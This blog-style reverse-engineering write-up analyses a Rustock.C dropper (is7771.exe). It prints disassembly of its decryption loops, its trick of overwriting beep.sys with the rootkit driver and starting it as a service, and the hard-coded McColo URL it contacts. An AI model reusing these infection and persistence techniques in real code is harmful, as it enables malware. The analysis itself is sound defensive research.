W32/Rustock.F: a quite unknown Rustock.C dropper.

Some days ago a friend of mine posted me a suspicious malware, unfortunately I couldn't look at it before yesterday night because I was out for work.
By submitting the file to virustotal.com I could see that only the 39,02% of the av recognizes it as a malware (some popular antivirus like Kaspersky or Symantec, for example, don't recognize it), Microsoft calls it "TrojanDropper:Win32/Rustock.F" while for Panda it is "Trj/Rustock.L".
As resulting from the analysis this is really a dropper for the famous malware Rustock.C.
A lot of papers has been written on Rustock.C so I will analyze only this dropper in order to make you know that this is a malware even if your antivirus does not signal it as a bad application.
The file I'm talking about is called "is7771.exe" and these are its properties:

Name: is7771.exe
File size: 252.50 KB (258560 bytes)
MD5: 7470F4EC56F167F26F4CF5221D947757
SHA-1: 6C8D2DAA5025198950F5DCD4C1D56745856FA2EA

Starting from the EP the first interesting call is at 417A71, call sub_418300:

```
00417A65                pop     ecx
00417A66 loc_417A66:                            ; CODE XREF: start+FB
00417A66                call    ds:GetCommandLineA
00417A6C                mov     dword_440754, eax
00417A71                call    sub_418300
```

Inside this call, the dropper calls GetEnvinronmentStringW in order to retrieve the address of the environment block for the current process:

```
…
00418319                pop     ebp
0041831A                jnz     short loc_418349
0041831C                call    edi ; GetEnvironmentStringsW
0041831E                mov     esi, eax
00418320                cmp     esi, ebx
…
```

then, after the call WideCharToMultiByte at 4183A8, we have in eax the environment block:

```
…
0041839D                push    ebx             ; lpUsedDefaultChar
0041839E                push    ebx             ; lpDefaultChar
0041839F                push    ebp             ; cbMultiByte
004183A0                push    eax             ; lpMultiByteStr
004183A1                push    [esp+28h+cchWideChar] ; cchWideChar
004183A5                push    esi             ; lpWideCharStr
004183A6                push    ebx             ; dwFlags
004183A7                push    ebx             ; CodePage
004183A8                call    edi             ; call WideCharToMultiByte
…
```

Back to the main flow the next important call is:

```
…
00417ABA                push    eax
00417ABB                push    dword_440250
00417AC1                push    dword_44024C
00417AC7                call    _wmain  ; call sub_401920
…
```

as you can see IDA helps us signing the call as _wmain and this is really the most important call of the dropper.

Inside this call there is the call sub_401928 which contains a very interesting series of decrypting routines:

```
00401928 sub_401928      proc near               ; CODE XREF: _wmain
00401928 var_4           = dword ptr -4
00401928                 jmp     short $+2
0040192A                 pusha
0040192B                 mov     eax, 0
00401930                 push    4237h
00401935                 pop     ebx   ; ebx is now 4237h
00401936 loc_401936:                   ; CODE XREF: sub_401928+34
00401936                 lea     eax, [eax+ebx]
00401939                 mov     ecx, 0ECF1h
0040193E loc_40193E:                   ; CODE XREF: sub_401928+2F
0040193E                               ; DATA XREF: sub_401928+2A
0040193E                 xor     eax, 0D2B40EE9h
00401943                 rol     eax, cl
00401945                 lea     eax, [eax+684488DFh]
0040194B                 add     ecx, 0FFFFFFFFh
0040194E                 or      ecx, ecx
00401950                 jz      short loc_401958
00401952                 push    offset loc_40193E
00401957                 retn
```

This routine makes ECF1 loops and it is nested in another routine which ends at 40195C, when ebx is 0, so the main routine makes ECF1*4237 = 3D4909C7 loops.

```
00401958
00401958 loc_401958:                   ; CODE XREF: sub_401928+28
00401958                 dec     ebx
00401959                 cmp     ebx, 0
0040195C                 jnz     short loc_401936
```

At the end of the main routine in eax there is a constant value: 88986E8B.

```
0040195E                 mov     ecx, 57E7h
00401963                 mov     ebx, offset dword_4019A0
00401968                 lea     esi, unk_41B000
0040196E
0040196E loc_40196E:                   ; CODE XREF: sub_401928+63
0040196E                 push    offset loc_401974
00401973                 retn
```

Here is the beginning of a new decrypting routine, in 401963 the malware moves in ebx the address 4019A0, let's look at the first rows of the dump:

```
004019A0  96 2D 39 41 47 53 A2 01 41 1B A4 53 DA 5C 0D 4A  --9AGS¢□A□¤SÚ\.J
004019B0  65 2B 31 BC B7 11 3D B3 95 9B 3B 3B 5B 0B 4D D9  e+1¼·□=³•›;;[ MÙ
004019C0  63 F5 44 29 B2 55 3E E5 D1 DA A6 91 63 CD D3 D3  cõD)²U>åÑÚ¦'cÍÓÓ
```

these are the first three rows of the buffer and the malware starts to decrypt them here:

```
00401974
00401974 loc_401974:                   ; DATA XREF: sub_401928:loc_40196E
00401974                 lea     eax, [eax-437B0D6Eh]
0040197A                 push    dword ptr [ebx] ;the 1st time ebx = 4019A0
0040197C                 pop     edx
0040197D                 xor     edx, eax
0040197F                 push    edx
00401980                 pop     dword ptr [esi]; in esi, at 41B000
```

```
                                                        ; there's the first
                                                        ; decrypted dword
00401982                lea     ebx, [ebx+4]
00401985                add     esi, 4
00401988                dec     ecx
00401989                or      ecx, ecx
0040198B                jnz     short loc_40196E
0040198D                popa
0040198E                lea     esp, [esp-4]
00401992                mov     dword ptr [esp+4-var_4], offset unk_41B000
00401999                retn
```

At the end of the routine (57E7 loops) the decrypted buffer is in esi, these are the first three rows:

```
0041B000  8B 4C 24 04 E8 00 00 00 00 5D 83 ED 09 64 A1 30  ‹L$□è....]ƒí.d¡0
0041B010  00 00 00 8B 40 0C 8B 40 1C 8B 00 8B 40 08 8D B5  ...‹@.‹@□‹.‹@□□µ
0041B020  CE 00 00 00 8D BD F7 00 00 00 E8 33 00 00 00 8D  Î...□½÷...è3...□
```

Take a look some rows below:

```
0041B0C0  EB ED 46 89 74 24 08 89 54 24 20 58 61 C3 4C 6F  ëíF‰t$□‰T$ XaÃLo
0041B0D0  61 64 4C 69 62 72 61 72 79 41 00 47 65 74 50 72  adLibraryA.GetPr
0041B0E0  6F 63 41 64 64 72 65 73 73 00 45 78 69 74 50 72  ocAddress.ExitPr
0041B0F0  6F 63 65 73 73 00 00 00 00 00 00 00 00 00 00 00  ocess...........
```

as you can see there are three well known API names.
The retn at 401999 returns to 41B000 (take a look to the previous instruction), so the flow goes to that part of code that is been decrypted few moments ago, in this way that part of code is impossible to see with a disassembler.

```
0041B000    8B4C24 04               MOV ECX,DWORD PTR SS:[ESP+4]
0041B004    E8 00000000             CALL 0041B009
0041B009    5D                      POP EBP
…
0041B01E    8DB5 CE000000           LEA ESI,DWORD PTR SS:[EBP+CE]
0041B024    8DBD F7000000           LEA EDI,DWORD PTR SS:[EBP+F7]
0041B02A    E8 33000000             CALL 0041B062
```

At 41B01E the malware moves in esi the string "LoadLibraryA" and inside the call sub_41B0AC, which is nested in the call sub_41B062, it looks inside kernel32.dll in order to find that API.
The malware compares the string "LoadLibraryA" with every string it finds starting from "ActivateActCtx".
Back from 41B0AC, looking at eax we see that LoadLibraryA is the 244th API listed in kernel32.dll.
The malware uses this index to retrieve the API in kernel32.dll and does the same for GetProcAddress (the 198th) and for ExitProcess (the B6th), the APIs are listed starting from 41B0F7.
Back to the main flow we arrive here:

```
0041B043    8D85 B40C0000           LEA EAX,DWORD PTR SS:[EBP+CB4]
0041B049    50                      PUSH EAX
0041B04A    8B85 F7000000           MOV EAX,DWORD PTR SS:[EBP+F7]
0041B050    50                      PUSH EAX
0041B051    8B85 FB000000           MOV EAX,DWORD PTR SS:[EBP+FB]
0041B057    50                      PUSH EAX
0041B058    FFD6                    CALL ESI ; is7771.0041B2AF
```

This is what is inside the call esi:

```
0041B8D6    53                      PUSH EBX
0041B8D7    56                      PUSH ESI
0041B8D8    57                      PUSH EDI
0041B8D9    68 28B54100             PUSH 0041B528 ; ASCII "kernel32.dll"
0041B8DE    FF55 0C                 CALL DWORD PTR SS:[EBP+C] ; LoadLibraryA
0041B8E1    68 18B54100             PUSH 0041B518 ; ASCII "advapi32.dll"
0041B8E6    8BF8                    MOV EDI,EAX
0041B8E8    FF55 0C                 CALL DWORD PTR SS:[EBP+C] ; LoadLibraryA
0041B8EB    68 0CB54100             PUSH 0041B50C ; ASCII "wininet.dll"
0041B8F0    8BD8                    MOV EBX,EAX
0041B8F2    FF55 0C                 CALL DWORD PTR SS:[EBP+C] ; LoadLibraryA
0041B8F5    8B75 08                 MOV ESI,DWORD PTR SS:[EBP+8]
0041B8F8    68 00B54100             PUSH 0041B500 ; ASCII "OpenEventA"
0041B8FD    57                      PUSH EDI
0041B8FE    8945 0C                 MOV DWORD PTR SS:[EBP+C],EAX
0041B901    FFD6                    CALL ESI      ; call GetProcAddress
…
```

The code is easy to understand, the malware loads three .dll (kernel32.dll, advapi32.dll and wininet32.dll) and starts to retrieve the address of a lot of APIs starting from OpenEventA (from advapi32.dll) and finishing at InternetOpenUrlA (from wininet.dll).
After finishing to retrieve the API addresses the malware arrives at 41BA46: call sub_41B579, inside this call the malware calls OpenEventA in order to check if there is an existing event object called "Global\{60F9FCD0-8DD4-6453-E394-771298D2A470}" if there is not than the OpenEventA returns null and the jump at 41BA4D is not taken.

```
0041BA4B    TEST EAX,EAX
0041BA4D    JNZ 0041BAF8
```

If the jump does not occur the malware creates a file-mapping object for the file "Global\5B37FB3B-984D-1E57-FF38-AA681BE5C8D8":

```
0041BA53    MOV EBX,DWORD PTR SS:[EBP+10]
0041BA56    MOV EAX,DWORD PTR DS:[EBX]
0041BA58    PUSH 0041B360 ; ASCII "Global\5B37FB3B-984D-1E57-FF38-AA681BE5C8D8"
0041BA5D    ADD EAX,4
0041BA60    PUSH EAX
0041BA61    XOR ESI,ESI
0041BA63    PUSH ESI
0041BA64    PUSH 4
0041BA66    PUSH ESI
0041BA67    PUSH -1
0041BA69    CALL DWORD PTR DS:[41BB50] ; kernel32.CreateFileMappingA
0041BA6F    CMP EAX,ESI
0041BA71    MOV DWORD PTR SS:[EBP+8],EAX
0041BA74    JE SHORT 0041BAA0
…
```

After some instructions the flow arrives at 41BAA6, call sub_41B70,

```
…
0041BAA0    PUSH 0041B358  ; ASCII "beep"
0041BAA5    PUSH EBX
0041BAA6    CALL 0041B701
0041BAAB    TEST EAX,EAX
0041BAAD    JE SHORT 0041BAB4
…
0041BAB2    JMP SHORT 0041BAC7
0041BAB4    PUSH 0041B350  ; ASCII "null"
0041BAB9    PUSH EBX
```

```
0041BABA    CALL 0041B701
```

Inside this call the malware creates the string “C:\WINDOWS\system32\drivers\beep.sys” by calling GetSystemDirectoryA (call dword ptr[41BB8C]) at 41B72B and lstrcatA.
At this point the malware creates a .tmp file in the temp directory (retrieved by using GetTempPathA, call dword ptr[41BB84], at 41B723) and:

```
0041B77D    56                  PUSH ESI
0041B77E    8D85 F8FDFFFF       LEA EAX,DWORD PTR SS:[EBP-208]
0041B784    50                  PUSH EAX
0041B785    8D85 FCFEFFFF       LEA EAX,DWORD PTR SS:[EBP-104]
0041B78B    50                  PUSH EAX
0041B78C    FF15 5CBB4100       CALL DWORD PTR DS:[41BB5C] ; kernel32.CopyFileA
```

these are the parameters for CopyFileA:

```
0006FCAC  |ExistingFileName = "C:\WINDOWS\system32\drivers\beep.sys”
0006FBA8  |NewFileName = "C:\DOCUME~1\xxx\IMPOST~1\Temp\1.tmp"
0006FA94  \FailIfExists = FALSE
```

yes, the malware creates a copy of beep.sys, we could say a “backup”.
As you can see at 41BAAB if the call fails and there is not a file called “beep.sys” in the drivers dir the dropper tries to find “null.sys”.
After the call CopyFileA there is an interesting call at 41B796:

```
0041B792    56                  PUSH ESI
0041B793    FF75 0C             PUSH DWORD PTR SS:[EBP+C]
0041B796    E8 F7FDFFFF         CALL 0041B592
```

Inside this call Rustock.F establishes a connection to the service control manager on our computer and opens the ServicesActive database by calling OpenSCManagerA:

```
0041B593    8BEC                MOV EBP,ESP
0041B595    83EC 1C             SUB ESP,1C
0041B598    53                  PUSH EBX
0041B599    56                  PUSH ESI
0041B59A    68 3F000F00         PUSH 0F003F
0041B59F    33F6                XOR ESI,ESI
0041B5A1    56                  PUSH ESI
0041B5A2    56                  PUSH ESI
0041B5A3    FF15 7CBB4100       CALL DWORD PTR DS:[41BB7C]; call OpenSCManagerA
```

then it opens opens a handle to service “beep” by calling OpenServiceA:

```
…
0041B5AF    57                  PUSH EDI
0041B5B0    68 FF010F00         PUSH 0F01FF
0041B5B5    FF75 08             PUSH DWORD PTR SS:[EBP+8] ; “beep”
0041B5B8    53                  PUSH EBX
0041B5B9    FF15 4CBB4100       CALL DWORD PTR DS:[41BB4C] ; call OpenServiceA
0041B5BF    8BF8                MOV EDI,EAX
0041B5C1    3BFE                CMP EDI,ESI
0041B5C3    74 24               JE SHORT 0041B5E9
0041B5C5    3975 0C             CMP DWORD PTR SS:[EBP+C],ESI
0041B5C8    74 0B               JE SHORT 0041B5D5 ; the first time this
                                                  ; jump is taken so the service
                                                  ; does not start.
0041B5CA    56                  PUSH ESI
0041B5CB    56                  PUSH ESI
0041B5CC    57                  PUSH EDI
```

```
0041B5CD    FF15 68BB4100       CALL DWORD PTR DS:[41BB68] ;  call StartServiceA
0041B5D3    EB 0D               JMP SHORT 0041B5E2
```

After the jump at 41B5C8 the flow comes here and the malware sends a request to stop to the service by calling ControlService with control code = 1:

```
0041B5D5    8D45 E4         LEA EAX,DWORD PTR SS:[EBP-1C]
0041B5D8    50              PUSH EAX
0041B5D9    6A 01           PUSH 1
0041B5DB    57              PUSH EDI
0041B5DC    FF15 58BB4100   CALL DWORD PTR DS:[41BB58] ; call ControlService
0041B5E2    57              PUSH EDI
0041B5E3    FF15 6CBB4100   CALL DWORD PTR DS:[41BB6C] ; call CloseServiceHandle
…
0041B5F3    C9              LEAVE
0041B5F4    C2 0800         RET 8
```

Going back to the main flow the code arrives at 41B7B0, call sub_041B644, this is what we can see by entering in the call:

```
0041B644    55              PUSH EBP
0041B645    8BEC            MOV EBP,ESP
…
0041B653    68 00000040     PUSH 40000000
0041B658    FF75 08         PUSH DWORD PTR SS:[EBP+8]; "C:\WINDOWS\system32\
                                                    ; drivers\beep.sys"
0041B65B    8BF0            MOV ESI,EAX
0041B65D    FF15 3CBB4100   CALL DWORD PTR DS:[41BB3C] ; call CreateFileA
…
```

Rustock.F opens “beep.sys£ and starts to inject the code in it by calling WriteFile at 41B677:

```
0041B66A    6A 00           PUSH 0
0041B66C    8D45 08         LEA EAX,DWORD PTR SS:[EBP+8]
0041B66F    50              PUSH EAX
0041B670    FF36            PUSH DWORD PTR DS:[ESI] ; 152DE bytes
0041B672    83C6 04         ADD ESI,4
0041B675    56              PUSH ESI
0041B676    53              PUSH EBX
0041B677    FF15 34BB4100   CALL DWORD PTR DS:[41BB34] ; call WriteFile
…
```

After writing 152DE bytes inside “beep.sys”, the code returns to the previous flow.
Esi points to 41BCB8, this is the first rows of the dump:

```
0041BCB8  4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00  MZ□.□...□...ÿÿ..
0041BCC8  B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ¸.......@.......
0041BCD8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

It seems to be the beginning of a PE file.
These bytes have been decrypted during the 57E7 loops long routine at 40196E.
These is the driver of Rustock.C and we can dump the memory to create a 152DE bytes long PE file.
This file is crypted with RC4 and the decrypted PE file is compressed with the aplib.
By the way I will not analyze this file because there is a lot of good papers about it and my aim is just to signal this quite unknown dropper: is7771.exe.
It is to say that uploading the obtained .sys file to virustotal.com only the 50% of the av recognizes it as a malware.

Going back from the call sub_041B644 and keep on following the code, we arrive again at a call sub_41B592 at 41B7BA.
This time the JE SHORT 0041B5D5 at 41B5C8 is not taken and the code arrives at call StartServiceA, in this way the malware executes the modified “beep.sys” and Rustock.C is free to infect our pc.
After few instructions we find this:

```
0041B7E7    FF15 5CBB4100   CALL DWORD PTR DS:[41BB5C]  ;  call CopyFileA
```

Thes are the parameters for CopyFileA:

```
0006FBA8   |ExistingFileName = "C:\DOCUME~1\xxx\IMPOST~1\Temp\1.tmp"
0006FCAC   |NewFileName = "C:\WINDOWS\system32\drivers\beep.sys"
00000000   \FailIfExists = FALSE
```

So, the original .sys file is recovered and inside the following call sub_41B691 the malware deletes the .tmp file by calling DeleteFileA (call dword ptr[41BB30]) at 41B69D.

As I said before, if the malware does not find “beep.sys”, it searches for “null.sys”.
Now we can see that if does not find “null.sys”, it creates the string

“"C:\WINDOWS\system32\drivers\glayde32.sys"

and, after creating that file and writing in it the code at 41BCB8, it calls CreateServiceA (call dword ptr[41BB70]) at 41B627 and tries to execute it by calling the usual StartServiceA at 41B5CD.

The malware checks if this attempt has been successful by calling OpenEventA as it did for “beep.sys” and “null.sys”, then the code arrives at 41BAFD, call sub_41B892, and this is what is inside this call:

```
0041B892    56              PUSH ESI
0041B893    57              PUSH EDI
0041B894    33F6            XOR ESI,ESI
0041B896    56              PUSH ESI
0041B897    56              PUSH ESI
0041B898    56              PUSH ESI
0041B899    56              PUSH ESI
0041B89A    56              PUSH ESI
0041B89B    FF15 80BB4100   CALL DWORD PTR DS:[41BB80] ; call InternetOpenA
0041B8A1    8BF8            MOV EDI,EAX
0041B8A3    3BFE            CMP EDI,ESI
0041B8A5    74 21           JE SHORT 0041B8C8
0041B8A7    56              PUSH ESI
0041B8A8    56              PUSH ESI
0041B8A9    56              PUSH ESI
0041B8AA    56              PUSH ESI
0041B8AB    FF7424 1C       PUSH DWORD PTR SS:[ESP+1C]
0041B8AF    57              PUSH EDI
0041B8B0    FF15 78BB4100   CALL DWORD PTR DS:[41BB78] ; call InternetOpenUrlA
```

The malware initializes the use of the WinINet functions and tries to open an url:

ASCII "http://208.66.194.22/index.php?page=main?i=1"

This is the whois result of the ip:

General Information:

```
Hostname:     208.66.194.22
ISP:          McColo corp
Organization: McColo corp
Proxy:        None detected
Type:         Corporate
```

Geo-Location Information:

```
Country:      United States
State/Region:DE
City:         Newark
Latitude:     39.668
Longitude:    -75.7135
```

McColo corp. is in fact related to Rustock.C as you can easily see by googling “McColo rustock.c” ☺.

Going to the main flow, we arrive at 41BB1D, call sub_41B691.
Inside this call the malware moves the file is7771.exe from its current to the temp dir and renames it as 2.tmp by calling MoveFileExA (call dword ptr[41BB54]) at 41B6DD.
After this we go back to 41B05C where there’s a call ExitProcess (call dword ptr[EBP+FF]): the work of the dropper is finished.

That’s all about the Rustock.C dropper called Rustock.F (is7771.exe), the reversing was really easy but, as I said before, the minor part of the antivirus recognizes it as a malware, so, if you have downloaded a file called is7771.exe delete it without executing.

For any questions do not esitate to send me an e-mail: giammarco.ferrari@gmail.com, Bye bye!

Giammarco Ferrari